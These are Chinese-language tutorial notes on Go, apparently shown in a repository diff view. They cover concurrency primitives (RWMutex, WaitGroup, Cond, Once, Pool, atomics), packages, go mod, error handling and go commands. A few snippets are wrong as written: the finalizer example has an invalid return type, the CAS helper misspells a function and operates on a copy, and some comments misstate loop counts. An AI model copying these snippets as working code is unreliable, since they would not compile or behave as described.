- 对同一个读写锁来说读锁定可以有多个所以需要进行等量的读解锁才能让某一个写锁获得机会否则该goroutine一直处于阻塞但是sync.RWMutext没有提供获取读锁数量方法这里需要使用defer避免如下案例所示
```go
import (
"fmt"
"sync"
"time"
)
func main() {
var rwm sync.RWMutex
for i := 0; i < 3; i++ {
go func(i int) {
fmt.Println("Try Lock reading i:", i)
rwm.RLock()
fmt.Println("Ready Lock reading i:", i)
time.Sleep(time.Second * 2)
fmt.Println("Try Unlock reading i: ", i)
rwm.RUnlock()
fmt.Println("Ready Unlock reading i:", i)
}(i)
}
time.Sleep(time.Millisecond * 100)
fmt.Println("Try Lock writing ")
rwm.Lock()
fmt.Println("Ready Locked writing ")
}
```
上述案例中只有循环结束才会执行写锁所以输出如下
```go
...
Ready Locked writing // 总在最后一行
```
#### 2.3 读写锁补充 RLocker方法
`sync.RWMutex`类型还有一个指针方法`RLocker`
```go
func (rw *RWMutex) RLocker() Locker
```
返回值Locker是实现了接口`sync.Lokcer`的值该接口同样被 `*sync.Mutex``*sync.RWMutex`实现包含方法`Lock``Unlock`
当调用读写锁的RLocker方法后获得的结果是读写锁本身该结果可以调用Lock和Unlock方法和RLockRUnlock使用一致
#### 2.4 最后的说明
读写锁的内部其实使用了互斥锁来实现他们都使用了同步机制信号量
## 死锁
常见会出现死锁的场景
- 两个协程互相要求对方先操作AB相互要求对方先发红包然后自己再发
- 读写双方相互要求对方先执行自己后执行
模拟死锁
```go
package main
import (
"fmt"
"sync"
"time"
)
func main() {
var rwm sync.RWMutex
ch := make(chan int)
go func() {
rwm.RLock() // 加读锁
x := <- ch // 如果不写入,则无法读取
fmt.Println("读取到的x", x)
rwm.RUnlock()
}()
go func() {
rwm.Lock() // 加入写锁
ch <- 10 // 管道无缓存,没人读走,则无法写入
fmt.Println("写入:", 10)
rwm.Unlock()
}()
time.Sleep(time.Second * 5)
}
```
将上述死锁案例中的锁部分代码去除则两个协程正常执行

View File

@ -0,0 +1,151 @@
## 等待组 sync.WaitGroup
`sync.WaitGroup`类型的值也是并发安全的该类型结构体中内内部拥有一个计数器计数器的值可以通过方法调用实现计数器的增加和减少
当我们添加了 N 个并发任务进行工作时就将等待组的计数器值增加 N每个任务完成时这个值减1 同时在另外一个 goroutine 中等待这个等待组的计数器值为 0 表示所有任务己经完成
等待组常用方法
- (wg *WaitGroup) Add(delta int) 等待组计数器+1该方法也可以传入负值让等待计数减少切记不能减少为负数会引发崩溃
- (wg *WaitGroup) Done() 等待组计数器-1等同于Add传入负值
- (wg *WaitGroup) Wait() 等待组计数器!=0时阻塞直到为0
应用场景WaitGroup一般用于协调多个goroutine运行
简单示例
```go
package main
import (
"fmt"
"net/http"
"sync"
)
func main() {
var wg sync.WaitGroup // 声明一个等待组
var urls = []string{
"https://www.baidu.com/",
"https://www.163.com/",
"https://www.weibo.com/",
}
for _, url := range urls {
wg.Add(1) // 每个任务开始,等待组+1
go func(url string) {
defer wg.Done()
_, err := http.Get(url) // 执行访问
fmt.Println(url, err)
}(url)
}
wg.Wait() // 等待所有任务完成
fmt.Println("over")
}
```
上述案例可以使用channel方式每个go协程执行时channel传递完成信号但是使用通道的方式明显过重
贴士有了等待组我们就不需要再在main函数中使用 `time.Sleep()`方法来模拟等待协程运行结束了
## 等待组与锁配合使用示例
开启多个协程对共享内存产生竞争单独使用等待组不能解决问题如下所示
```go
package main
import (
"fmt"
"sync"
)
func main() {
var wg sync.WaitGroup
var money = 10000
// 开启10个协程每个协程内部 循环1000次每次循环值+10
for i := 0; i < 10; i++ {
wg.Add(1)
go func() {
for j := 0; j < 100; j++ {
money += 10 // 多个协程对 money产生了竞争
}
wg.Done()
}()
}
wg.Wait()
fmt.Println("最终的monet = ", money) // 应该输出20000才正确但是每次运行输出结果不正确
}
```
等待组与互斥锁同步锁配合解决钱数问题示例
```go
package main
import (
"fmt"
"sync"
)
func main() {
var mt sync.Mutex
var wg sync.WaitGroup
var money = 10000
// 开启10个协程每个协程内部 循环1000次每次循环值+10
for i := 0; i < 10; i++ {
wg.Add(1)
go func(index int) {
mt.Lock()
fmt.Printf("协程 %d 抢到锁\n", index)
for j := 0; j < 100; j++ {
money += 10 // 多个协程对 money产生了竞争
}
fmt.Printf("协程 %d 准备解锁\n", index)
mt.Unlock()
wg.Done()
}(i)
}
wg.Wait()
fmt.Println("最终的monet = ", money) // 应该输出20000才正确
}
```
可能的打印结果
```
协程 9 抢到锁
协程 9 准备解锁
协程 4 抢到锁
协程 4 准备解锁
协程 0 抢到锁
协程 0 准备解锁
协程 1 抢到锁
协程 1 准备解锁
协程 2 抢到锁
协程 2 准备解锁
协程 3 抢到锁
协程 3 准备解锁
协程 7 抢到锁
协程 7 准备解锁
协程 5 抢到锁
协程 5 准备解锁
协程 8 抢到锁
协程 8 准备解锁
协程 6 抢到锁
协程 6 准备解锁
最终的monet = 20000
```

View File

@ -0,0 +1,114 @@
## 条件变量
`sync.Cond`类型即是Go中的条件变量该类型内部包含一个锁接口条件变量通常与锁配合使用
创建条件变量的函数
```go
func NewCond(l locker) *Cond // 条件变量必须传入一个锁,二者需要配合使用
```
`*sync.Cond`类型有三个方法
- Wait: 该方法会阻塞等待条件变量满足条件也会对锁进行解锁一旦收到通知则唤醒并立即锁定该锁
- Signal: 发送通知(单发)给一个正在等待在该条件变量上的协程发送通知
- Broadcast: 发送通知(广播给正在等待该条件变量的所有协程发送通知容易产生 惊群
示例
```go
func main() {
cond := sync.NewCond(&sync.Mutex{})
condition := false
// 开启一个新的协程,修改变量 condition
go func() {
time.Sleep(time.Second * 1)
cond.L.Lock()
condition = true // 状态变更,发送通知
cond.Signal() // 发信号
cond.L.Unlock()
}()
// main协程 是被通知的对象,等待通知
cond.L.Lock()
for !condition {
cond.Wait() // 内部释放了锁(释放后,子协程能拿到锁),并等待通知(消息)
fmt.Println("获取到了消息")
}
cond.L.Unlock() // 接到通知后,会被再次锁住,所以需要在需要的场合释放
fmt.Println("运行结束")
}
```
使用条件变量优化生产消费模型支持多个生产者多个消费者
```go
package main
import (
"fmt"
"math/rand"
"sync"
"time"
)
// 定义缓冲区大小
const BUFLEN = 5
// 全局位置定义全局变量
var cond *sync.Cond = sync.NewCond(&sync.Mutex{})
// 生产者
func producer(ch chan<- int) {
for {
cond.L.Lock() // 给条件变量对应的互斥锁加锁
for len(ch) == BUFLEN { // 缓冲区满则等待消费者消费这里不能是if
cond.Wait()
}
ch <- rand.Intn(1000) // 写入缓冲区一个随机数
cond.L.Unlock() // 生产结束,解锁互斥锁
cond.Signal() // 一旦生产后,就唤醒其他被阻塞的消费者
time.Sleep(time.Second * 2)
}
}
// 消费者
func consumer(ch <-chan int) {
for {
cond.L.Lock() // 全局条件变量加锁
for len(ch) == 0 { // 如果缓冲区为空则等待生产者生产这里不能是if
cond.Wait() // 挂起当前协程,等待条件变量满足,唤醒生产者
}
fmt.Println("Receive:", <-ch)
cond.L.Unlock()
cond.Signal()
time.Sleep(time.Second * 1)
}
}
func main() {
rand.Seed(time.Now().UnixNano()) // 设置随机数种子
// 生产消费模型中的
ch := make(chan int, BUFLEN)
// 启动10个生产者
for i := 0; i < 10; i++ {
go producer(ch)
}
// 启动10个消费者
for i := 0; i < 10; i++ {
go consumer(ch)
}
// 阻塞主程序退出
for {
}
}
```

View File

@ -0,0 +1,129 @@
## Once 只执行一次
sync包提供了互斥锁读写锁条件变量等常见并发场景需要的APIsync还有一些其他API如结构体`sync.Once`负责只执行一次也即全局唯一操作
使用方式如下
```go
var once sync.Once
once.Do(func(){}) // Do方法的有效调用次数永远是1
```
`sync.Once`的典型应用场景是只执行一次的任务如果这样的任务不适合在init函数中执行该结构体类就会派上用场
sync.Once内部使用了卫述语句双重检查锁定共享标记的原子操作来实现`Once`功能
once示例
```go
package main
import (
"fmt"
"sync"
)
type Person struct {
Name string
Age int
}
func (p *Person)Grown() {
p.Age += 1
}
func main() {
var once sync.Once
var wg sync.WaitGroup
p := &Person{
"比尔",
0,
}
for i := 0; i < 10; i++ {
wg.Add(1)
go func() {
once.Do(func(){
p.Grown()
})
wg.Done()
}()
}
wg.Wait()
fmt.Println("年龄是:", p.Age) // 只会输出 1
}
```
## 对象池 sync.Pool
`sync.Pool`可以作为临时值的容器该容器具备自动伸缩高效特性同时也是并发安全的其方法有
- Get从池中取出一个值类型为`interface{}`
- Put存储一个值到池中存储的值类型为`interface{}`
使用示例
```go
p := &sync.Pool{
New: func() interface{} {
return 0
},
}
a := p.Get().(int)
p.Put(1)
b := p.Get().(int)
fmt.Println(a, b) // 0 1
```
注意
- 如果池子从未Put过其New字段也没有被赋值一个非nil值那么Get方法返回结果一定是nil
- Get获取的值不一定存在于池中如果Get到的值存在于池中则该值Get后会被删除
对象池原理
- 对象池可以把内部的值产生的压力分摊即专门为每个操作它的协程关联的P建立本地池Get方法被调用时先从本地P对象的本地私有池和本地共享池获取值如果获取失败则从其他P的本地私有池偷取一个值返回如果依然没有获取到会依赖于当前对象池的值生成函数注意生产函数产生的值不会被放到对象池中只是起到返回值作用
- 对象池的Put方法会把参数值存放到本地P的本地池中每个P的本地共享池中的值都是共享的即随时可能会被偷走
- 对象池对垃圾回收友好执行垃圾回收时会将对象池中的对象值全部溢出
应用场景sync.Pool的定位不是做类似连接池的东西仅仅是增加对象重用的几率减少gc的负担而开销方面也不是很便宜的
案例由于fmt包总是使用一些`[]byte`对象可以为其建立了一个临时对象池存放这些对象需要的时候从pool中取拿不到则分配一份这样就能避免一直生成`[]byte`垃圾回收的效率也高了很多
示例
```go
// 声明[]byte的对象池每个对象为一个[]byte
var BytePool = sync.Pool{
New: func() interface{} {
b := make([]byte, 1024)
return &b
},
}
func main() {
time1 := time.Now().Unix()
// 不使用对象池创建 10000000
obj1 := make([]byte, 1024)
for i := 0; i < 100000000; i++ {
obj1 = make([]byte, 1024)
_ = obj1
}
time2 := time.Now().Unix()
// 使用对象池创建 10010000
obj2 := BytePool.Get().(*[]byte)
for i := 0; i < 100000000; i++ {
obj2 = BytePool.Get().(*[]byte)
BytePool.Put(obj2)
_ = obj2
}
time3 := time.Now().Unix()
fmt.Println("without pool: ", time2-time1, "s") // 16s
fmt.Println("with pool: ", time3-time2, "s") // 1s
}
```

View File

@ -0,0 +1,111 @@
## 原子操作理解
对并发的操作可以利用Go新提出的管道思想大多数语言都有的锁思想也可以使用最基础的原子操作
原子操作的执行过程不能被中断因为此时CPU不会去执行其他对该值进行的操作
Go语言提供的原子操作是非侵入式的由标准库代码包`sync/atomic`提供了一系列原子操作函数这些函数可以对一些数据类型进行原子操作int32int64uint32uint64uintptrunsafe.Pointer这些函数提供的原子操作有5种比较并交换载入存储交换
注意
- 不能取地址值的数值无法进行原子操作
- 在性能上原子操作比互斥锁性能更高
## 常用原子操作
### 2.1 原子运算/
增加函数的函数名前缀都是Add开头
```go
// 原子性的把一个int32类型变量 i32 增大3 ,下列函数返回值必定是已经被修改的值
newi32 := atomic.AddInt32(&i32, 3) // 传入指针类型因为该函数需要获得数据的内存位置以施加特殊的CPU指令
```
常见的增/减原子操作函数
- atomic.AddInt32
- atomic.AddInt64
- atomic.AddUint32
- atomic.AddUint64
- atomic.AddUintptr
注意:
- 如果需要执行减少操作可以这样书写 atomic.AddInt32(&i32, -3)
- 对uint32执行增加NN代表负整数增加NN也可以理解为减少-NNatomic.AddUint32(&ui32, ^uint32(-NN-1)) # 原理补码
- 对uint64以此类推
- 不存在atomic.AddPointer的函数因为unsafe.Poniter类型的值无法被增减
### 2.2 原子运算比较与替换
比较并替换即Compare And Swap简称CAS该类原子操作名称都以`CompareAndSwap`为前缀
举例
```go
// 参数一:被操作数 参数二和参数三代表被操作数的旧值和新值
func CompareAndSwapInt32(addr *int32, old, new int32)(swap bool)
```
CAS的一些特点
- CAS与锁相比明显不同是它总是假设操作值未被改变一旦确认这个假设为真立即进行替换所以锁的做法趋于悲观CAS的做法趋于乐观
- CAS的优势可以在不创建互斥量和不形成临界区的情况下完成并发安全的值替换操作可以大大减少性能损耗
- CAS的劣势在被操作之被频繁变更的情况下CAS操作容易失败有时候需要for循环判断返回结构的bool来进行多次尝试
- CAS操作不会阻塞协程但是仍可能使流程执行暂时停滞这种停滞极短
应用场景并发安全的更新一些类型的值可以优先选择CAS操作
### 2.3 原子读取载入
为了原子的读取数值Go提供了一系列载入函数名称以`Load`为前缀
CAS与载入的配合示例
```go
// value 增加 num
func addValue(value,num int32) {
for {
v := atomic.LoadInt32(&value)
if atomic.ComapreAndSwapInt32(&value, v, (v + num)) {
break
}
}
}
```
### 2.4 原子写入存储
在原子存储时任何CPU都不会进行针对同一个值的读写操作此时不会出现并发时候别人读取到了修改了一半的值
Go的`sync/atomic`包提供的存储函数都是以`Store`为前缀
示例
```go
// 参数一位被操作数据的指针 参数二是要存储的新值
atomic.StoreInt32(i *int3, v int32)
```
Go原子存储的特点存储操作总会成功因为不关心被操作值的旧值是什么这与CAS有明显区别
### 2.5 交换
交换与CAS操作相似但是交换不关心被操作数据的旧值而是直接设置新值不过会返回被操作值的旧值交换操作比CAS操作的约束更少且比载入操作功能更强
在Go中交换操作都以`Swap`为前缀示例
```go
// 参数一是被操作值指针 参数二是新值 返回值为旧值
atomic.SwapInt32(i *int32, v int32)
```
## 原子值
Go还提供了`sync/atomic.Value`类型的结构体用于存储需要原子读写的值该类型与第二章中的原子操作最大的区别是可接受的值类型不限
示例
```go
var atomicV atomic.Value
```
该结构体包含的方法
- Load原子的读取原子值实例的值返回interface{}类型结果
- Store原子的向原子值实例中存储值接受一个interface{}类型参数不能是nil无返回结果
注意
- 如果一个原子值没有通过Store方法存储值那么其Load方法总是返回nil
- 原子值实例一旦存储了一个类型的值后续再次Store存储时存储的值必须也是原有的类型
尤其注意atomic.Value变量指针类型变量除外声明后值不应该被赋值到别处比如赋值给别的变量作为参数值传入函数作为结果值从函数返回等等这样会有安全隐患 因为结构体值的复制不但会生产该值的副本还会生成其中字段的副本会造成并发安全保护失效

View File

@ -0,0 +1,15 @@
## Go语言的设计思想
- 少即是多
- 很少的语法特性
- 满足语言特性的正交性多个组成因子中一个发生变化不会影响其他因子变化Go中的goroutineinterface类型系统的组合能够极大增强Go的表现力
- 把一种事情做到极致而不是提供多个选择 for 循环一个关键字可以替代 forwhiledo while三种C语言的场景
- 组合优于继承世界由万物组合而成而不是万物皆对象继承关系只是世界表象中一个很小的子集组合才是世界组成的根本
- 非侵入式接口Go的接口采用了一种Duck模型具体类型不需要显式的声明自己实现了某个接口只要方法集是接口方法集的超集即可接口类型的是否实现判断交给了编译器处理该方式让接口和实现者之间实现了解耦
## Go语言中的设计争议
- 包管理饱受诟病但是在go1.13中得到大幅改善1.11中即可开启新版包管理方式
- 错误处理Go的错误处理简单粗暴但是绝对不优雅
- 泛型支持Go没有泛型支持笔者认为无法容忍

145
03-工程管理/01-包.md Normal file
View File

@ -0,0 +1,145 @@
## 包的使用
### 1.1 package与import
在实际的开发中我们往往需要在不同的文件中去调用其它文件的定义的函数比如 main.go 需要使用"fmt"包中的Println()函数
```go
package main
import "fmt"
```
在Go中Go的每一个文件都属于一个包也就是说Go是以包的形式来管理文件和项目目录结构
如果要导入某些第三方包直接输入包所在地址即可文件的包名通常和文件所在的文件夹名一致一般为小写字母
- package 指令在 文件第一行然后是 import 指令
- import 包时路径从 $GOPATH src 下开始不用带 src , 编译器会自动从 src 下开始引入
- 为了让其它包的文件可以访问到本包的函数则该函数名的首字母需要大写类似其它语言 public ,这样才能跨包访问
- 在访问其它包函数变量时其语法是 `包名.函数名`
导入包有两种书写方式
- `import "myproject/lib"` mypeoject是项目文件夹名这里类似于绝对路径的写法
- `import "./lib"`相对路径方式
多个包导入可以使用
```go
import (
"包名"
"包名"
)
```
推荐一般包名为全小写格式且使用一个简短的命名
### 1.2 GOPATH
GOPATH与GROOT
```
GOROOT: Go的安装目录比如c:/Go
GOPATH: Go的项目目录
```
GoPath目录用来存放代码文件可运行文件编译后的包文件 1.1-1.7版本必须设置而且不能和Go的安装目录一样1.8版本后会有默认值
```
Unix:$HOME/go
Windows:%USERPROFILE%/go
```
GOPATH允许多个目录多个目录的时候Windows是分号Linux系统是冒号隔开当有多个GOPATH时默认会将go get的内容放在第一个目录下$GOPATH 目录约定有三个子目录
- src:存放源代码一般一个项目分配一个子目录;
- pkg:编译后生成的文件.a文件
- bin:编译后生成的可执行文件,可以加入$PATH中
>注意一般建议package的名称和目录名保持一致
### 1.3 包中的函数调用方式
函数调用的方式
- 同包下直接调用即可
- 不同包下包名.函数名
注意Go中大写字母开头的变量是可导出的也就是其它包可以读取的是公有变量小写字母开头的就是不可导出的是私有变量
### 1.4 init函数 _
init()函数在包加载时就会默认最先调用用来对包中的一些属性进行初始化操作
```go
package util
import "fmt"
func init(){
fmt.Println("初始化操作...")
}
```
有些情况下我们在加载包时并不是要使用包内的函数而是想调用其初始化方法可以这样引入包
```go
import _ "package1"
```
一个go包可以拥有多个init函数会按照包中不同文件名顺序同文件名中init函数前后顺序依次调用
### 1.5 点操作
点语法在使用包调用函数时可以省略包名
```go
import . "fmt"
Println("无需包名即可调用...")
```
不推荐该使用方式
### 1.6 包别名
```go
import p1 "package1" // 此时包 package1 可以在代码中使用 p1 代替
```
## 下载第三方包
go有很多优秀的第三方包可以使用 `go get 包地址`来下载下载的包会默认安装在Gopath目录中的src文件夹中
Gopath支持多个目录`go get`默认都会将包下载到配置的第一个gopath中
## 包的加载
在程序执行前Go引导程序会先对整个程序的包进行初始化
- 包初始化程序从 main 函数引用的包开始逐级查找包的引用直到找到没有引用其他包的包最终生成一个包引用的有向无环图
- Go 编译器会将有向无环图转换为一棵树然后从树的叶子节点开始逐层向上对包进行初始化
- 单个包的初始化中先初始化常量然后是全局变量最后执行包的init 函数如果有
## 包的管理已过时推荐Go1.11后的go mod
### 4.1 vendor
vendor机制是指在保重加入了一个额外的vendor目录将依赖的外部包复制到vendor目录下nodejs编译器在查找外部依赖包时查找顺序是
- 优先在vendor目录下查找
- 如果当前包目录下没有vendor目录则沿着当前包向上级目录查找vendor目录直到$GOPATH/src下的vendor目录
- 如果还没有vendor则查找GOPATH下的依赖包
- 最后查找GOROOT下的依赖包
Go1.5中的版本机制需要手动设置 GOl 5VENDOREXPERIMENT=1后编译器才能启用Go1.6后默认支持开启vendor目录查找
vendor的问题是在使用`go get -u`更新时会将工程默认分支的最新版本拉取到本地不能指定第三方包的版本
### 4.2 dep
dep可以解决第三方包版本问题
```
# dep安装
go get -u github.com /golang/dep/cmd/dep
# 测试
dep version
# 初始化一个项目
dep init
```
dep 通过两个元文件来管理依赖
- Gopkg.tomlmanifest 文件 可以由用户自由配置包括依赖的 source branch version 可以通过命令产生也可以被用户手动修改
- Gopkg .locklock 文件仅描述工程当前第三方包版本视图lock 是自动生成的不可以手动修改
同样 vendor 目录下存放具体依赖的外部包的代码

111
03-工程管理/02-gomod.md Normal file
View File

@ -0,0 +1,111 @@
## go mod
go的项目依赖管理一直饱受诟病在go1.11后正式引入了`go modules`功能在go1.13版本中将会默认启用从此可以不再依赖gopath摆脱gopath的噩梦
`go mod` 初步使用
```
# 开启go mod
export GO111MODULE=on # 注意如果是win这里使用 set GO111MODULE=on
# 在新建的项目根目录下src下使用该命令
go mod init 项目名 # 此时会生成一个go.mod文件
# 使用
在项目中可以随时import依赖 go run 时候会自动安装依赖比如
import (
"github.com/gin-gonic/gin"
)
```
go run 后的 go.mod:
```
module api_server
go 1.12
require (
github.com/gin-contrib/sse v0.0.0-20190301062529-5545eab6dad3 // indirect
github.com/gin-gonic/gin v1.3.0 // indirect
github.com/golang/protobuf v1.3.1 // indirect
github.com/mattn/go-isatty v0.0.7 // indirect
github.com/ugorji/go/codec v0.0.0-20190320090025-2dc34c0b8780 // indirect
gopkg.in/go-playground/validator.v8 v8.18.2 // indirect
gopkg.in/yaml.v2 v2.2.2 // indirect
)
```
使用`go mod`run产生的依赖源码不会安装在当前项目中而是安装在`$GOPATH/pkg/mod`
贴士如果我们安装的是go1.11以上版本且想要开启go mod那么可以给go配置环境如下
```
export GOROOT=/usr/local/go # golang本身的安装位置
export GOPATH=~/go/ # golang包的本地安装位置
export GOPROXY=https://goproxy.io # golang包的下载代理
export GO111MODULE=on # 开启go mod模式
export PATH=$PATH:$GOROOT/bin # go本身二进制文件的环境变量
export PATH=$PATH:$GOPATH/bin # go第三方二进制文件的环境便令
```
注意使用了go mod后go get安装的包不再位于$GOPATHA/src 而是位于 $GOPATH/pkg/mod
## 翻墙问题解决
#### 2.1 推荐方式 GOPROXY
Go 1.11 版本开始还新增了 GOPROXY 环境变量如果设置了该变量下载源代码时将会通过这个环境变量设置的代理地址而不再是以前的直接从代码库下载goproxy.io 这个开源项目帮我们实现好了我们想要的该项目允许开发者一键构建自己的 GOPROXY 代理服务同时也提供了公用的代理服务 https://goproxy.io我们只需设置该环境变量即可正常下载被墙的源码包了
```
# 如果使用的是IDEA开发时设置Goland的Prefrence-Go-proxy即可
# 如果使用的是VSCode
export GO111MODULE=on
export GOPROXY=https://goproxy.io
# 如果是win
set GO111MODULE=on
set GOPROXY=https://goproxy.io
# 关闭代理
export GOPROXY=
```
#### 2.2 replace方式
`go modules`还提供了 replace可以解决包的别名问题也能替我们解决 golang.org/x 无法下载的的问题
go module 被集成到原生的 go mod 命令中但是如果你的代码库在 $GOPATH module 功能是默认不会开启的想要开启也非常简单通过一个环境变量即可开启 export GO111MODULE=on
```go
module example.com/hello
require (
golang.org/x/text v0.3.0
)
replace (
golang.org/x/text => github.com/golang/text v0.3.0
)
```
#### 2.3 手动下载 旧版go的解决
我们常见的 golang.org/x/... 一般在 GitHub 上都有官方的镜像仓库对应比如 golang.org/x/text 对应 github.com/golang/text所以我们可以手动下载或 clone 对应的 GitHub 仓库到指定的目录下
mkdir $GOPATH/src/golang.org/x
cd $GOPATH/src/golang.org/x
git clone git@github.com:golang/text.git
rm -rf text/.git
当如果需要指定版本的时候该方法就无解了因为 GitHub 上的镜像仓库多数都没有 tag并且手动嘛程序员怎么能干呢尤其是依赖的依赖太多了
## go mod引起的变化
引包方式变化
- 不使用go mod 引包"./test" 引入test文件夹
- 使用go mod 引包"projectmodlue/test" 使用go.mod中的modlue名/包名
因为在go1.11后如果开启了`go mod`需要在src目录下存在go.mod文件并书写主module名一般为项目名否则无法build
开启`go mod`编译运行变化
- 使用vscode开发必须在src目录下使用 `go build`命令执行不要使用code runner插件
- 使用IDEA开发项目本身配置go.mod文件扔不能支持开发工具本身也要开启`go mod`支持位于配置的go设置中

View File

@ -0,0 +1,270 @@
## defer 延迟执行
#### 1.1 defer延迟执行修饰符
Go语言提供的defer机制可以让开发者在创建资源(比如:数据库连接文件句柄锁等) 能够及时释放资源
```go
func main() {
//当执行到defer语句时暂不执行会将defer后的语句压入到独立的栈中,当函数执行完毕后,再从该栈按照先入后出的方式出栈执行
defer fmt.Println("defer1...")
defer fmt.Println("defer2...")
fmt.Println("main...")
}
```
上述代码执行结果
```
main...
defer2...
defer1...
```
`defer`将语句放入到栈时也会将相关的值拷贝同时入栈:
```go
func main() {
num := 0
defer fmt.Println("defer中num=", num)
num = 3
fmt.Println("main中num=",num)
}
```
输出结果
```
main中num= 3
defer中num= 0
```
#### 1.2 defer最佳实践
案例一defer处理资源
没有使用defer时打开文件处理代码
```go
f,err := os.Open(file)
if err != nil {
return 0
}
info,err := f.Stat()
if err != nil {
f.Close()
return 0
}
f.Close()
return 0;
```
使用defer优化
```go
f,err := os.Open(file)
if err != nil {
return 0
}
defer f.Close()
info,err := f.Stat()
if err != nil {
// f.Close() //这句已经不需要了
return 0
}
//后续一系列文件操作后执行关闭
// f.Close() //这句已经不需要了
return 0;
```
案例二并发使用map的函数
无defer代码
```go
var (
mutex sync.Mutex
testMap = make(map[string]int)
)
func getMapValue(key string) int {
mutex.Lock() //对共享资源加锁
value := testMap[key]
mutex.Unlock()
return value
}
```
上述案例是很常见的对并发map执行加锁执行的安全操作使用defer可以对上述语义进行简化
```go
var (
mutex sync.Mutex
testMap = make(map[string]int)
)
func getMapValue(key string) int {
mutex.Lock() //对共享资源加锁
defer mutex.Unlock()
return testMap[key]
}
```
#### 1.3 defer无法处理全局资源
使用defer语句, 可以方便地组合函数/闭包和资源对象即使panic时defer也能保证资源的正确释放但是上述案例都是在局部使用和释放资源如果资源的生命周期很长 而且可能被多个模块共享和随意传递的话defer语句就不好处理了
Go的`runtime`包的`func SetFinalize(x, f interface{})`函数可以提供类似C++析构函数的机制
示例包装一个文件对象在没有人使用的时候能够自动关闭
```go
type MyFile struct {
f *os.File
}
func NewFile(name string) (&MyFile, error){
file, err := os.Open(name)
if err != nil {
return nil, err
}
runtime.SetFinalizer(file, file.f.Close)
return &MyFile{f: file}, nil
}
```
在使用`runtime.SetFinalizer`, 需要注意的地方是尽量要用指针访问内部资源这样的话, 即使`*MyFile`对象忘记释放, 或者是被别的对象无意中覆盖, 也可以保证内部的文件资源可以正确释放
## Error 错误
#### 2.1 Go自带的错误接口
error是go语言声明的接口类型
```go
type error interface {
Error() string
}
```
所有符合`Error()string`格式的方法都能实现错误接口Error()方法返回错误的具体描述
#### 2.2 自定义错误
返回错误前需要定义会产生哪些可能的错误在Go中使用errors包进行错误的定义格式如下
```go
var err = errors.New("发生了错误")
```
提示错误字符串相对固定一般在包作用于声明应尽量减少在使用时直接使用errors.New返回
`errors.New`使用示例:
```go
func Sqrt(f float64) (float64, error) {
if f < 0 {
return 0, errors.New("math: square root of negative number")
}
// implementation
}
```
`err常见使用方式`
```Go
f, err := os.Open("filename.ext")
if err != nil {
fmt.Println(err)
}
```
实现错误接口案例
```go
package main
import (
"fmt"
)
//声明一种解析错误
type ParseError struct {
Filename string
Line int
}
//实现error接口返回错误描述
func (e *ParseError) Error() string {
return fmt.Sprintf("%s:%d", e.Filename, e.Line)
}
//创建一些解析错误
func newParseError(filename string, line int) error {
return &ParseError{filename, line}
}
func main() {
var e error
e = newParseError("main.go", 1)
fmt.Println(e.Error())
switch detail := e.(type) {
case *ParseError:
fmt.Printf("Filename: %s Line:%d \n", detail.Filename, detail.Line)
default:
fmt.Println("other error")
}
}
```
## panic 宕机
Go语言可以在程序中手动触发宕机让程序崩溃这样开发者可以及时发现错误
```go
package main
func main() {
defer fmt.Println("before") // panic()前面已经运行过的defer语句依然会在宕机时发生作用
panic("crash") // panic()参数可以是任意类型
fmt.Println("after") // panic()后面的代码将不会执行
}
```
运行结果是
```
before
panic: crash
goroutine 1 [running]:
main.main()
```
注意手动触发宕机并不是一种偷懒的方式反而能迅速报错终止程序继续运行防止更大的错误产生但是如果任何错误都使用宕机处理也不是一个良好的设计
## recover 宕机恢复
Go提供的recover机制由运行时抛出或者开发者主动触发的panic可以使用defer和recover实现错误捕捉和处理让代码在发生崩溃后允许继续执行
在其他语言里宕机往往以异常的形式存在底层抛出异常上层逻辑通过try/catch机制捕获异常没有被捕获的严重异常会导致宕机捕获的异常可以被忽略让代码继续执行Go没有异常系统使用panic触发宕机类似于其他语言的抛出异常recover的宕机恢复机制就对应try/catch机制
panic和defer的组合
- 有panic没有recover程序宕机
- 有panic也有recover程序不会宕机执行完对应的defer后从宕机点退出当前函数后继续执行
示例
```go
package main
import "fmt"
func test(num1 int, num2 int){
defer func(){
err := recover() // recover内置函数可以捕获异常
if err != nil {
fmt.Println("err=", err)
}
}()
fmt.Println(num1/num2)
}
func main() {
test(2,0)
fmt.Println("after...") // 该句会输出
}
```

View File

@ -0,0 +1,98 @@
## 常用Go命令
#### 1.1 常用命令汇总
- `go version` 获取Go版本
- `go help` 查看Go帮助命令
- `go get` 获取远程包需提前安装`git``hg`
- `go build` 编译并生成可执行程序
- `go run` 直接运行程序
- `go fmt` 格式化源码
- `go install` 编译包文件以及整个程序
- `go test` go原生提供的单元测试命令
- `go clean` 移除当前源码包和关联源码包里编译生成的文件
- `go tool` 升级Go版本时修复旧版代码
- `godoc -http:80`开启一个本地80端口的web文档
- `gdb 可执行程序名`调试Go编译出来的文件
#### 1.2 go fmt
`go fmt`命令可以格式化代码文件
```
# 命令格式使用go fmt命令其实是调用了gofmt而且需要参数-w否则格式化结果不会写入文件
go fmt -w 文件名.go
# 示例格式化整个项目
gofmt -w -l src
```
常见参数
- `-l` 显示那些需要格式化的文件
- `-w` 把改写后的内容直接写入到文件中而不是作为结果打印到标准输出
- `-r` 添加形如"a[b:len(a)] -> a[b:]"的重写规则方便我们做批量替换
- `-s` 简化文件中的代码
- `-d` 显示格式化前后的diff而不是写入文件默认是false
- `-e` 打印语法错误到标准输出无此参数只会打印不同行的前10个错误
#### 1.3 go install
`go install`命令用来生成项目的可执行文件进入对应的go文件所在的目录执行命令可以直接生成一个可执行文件在bin目录如图
![](../images/go/lang-02.png)
贴士
- 添加参数`-v`可以查看该命令底层执行信息
- 如果`main.go`中引入并使用了`expl`则该包的内容也被会安装进bin目录中
- go文件中如果没有`main`函数无法执行这样的文件称之为应用包会被编译为`.a`文件并生成在pkg文件夹中
注意
没有开启`go mod`使用上述命令需要配置`GOPATH`否则会报`no install location`
#### 1.4 go tool
go tool下聚集了很多命令主要有2个即fix和vet
- `go tool fix .`用来修复以前老版本的代码到新版本
- `go tool vet directory|files`分析当前目录的代码是否正确
#### 1.5 go get
`go get`用来获取远程仓库中的包使用该命令前必须配置GOPATH,而且依据不同的源码网站还要安装不同的版本管理工具比如从github上使用`go get`需要额外安装git
示例
```
# 下载包添加 -u 参数可以自动更新包和依赖
go get github.com/**/**
# 使用包与普通包使用方式一致
import "github.com/****/****"
```
`go get`本质上可以理解为通过源码工具clone下代码后执行了`go install`
由于一些原因有的包无法下载如包`"golang.org/x/sync/syncmap"`可以在src目录下执行下面的操作
```
mkdir -p golang.org/x/
cd golang.org/x/
git clone https://github.com/golang/sync.git
```
